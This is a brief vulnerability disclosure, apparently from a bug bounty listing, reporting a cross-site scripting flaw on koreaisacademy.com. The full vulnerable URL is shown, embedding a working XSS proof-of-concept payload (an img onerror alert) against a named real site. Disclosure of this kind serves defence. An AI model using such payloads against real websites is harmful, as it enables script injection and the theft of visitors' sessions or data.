koreaisacademy.com XSS vulnerability

Vulnerable URL: http://www.koreaisacademy.com/community/interviewview.asp?txtContentSeq=140==/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%...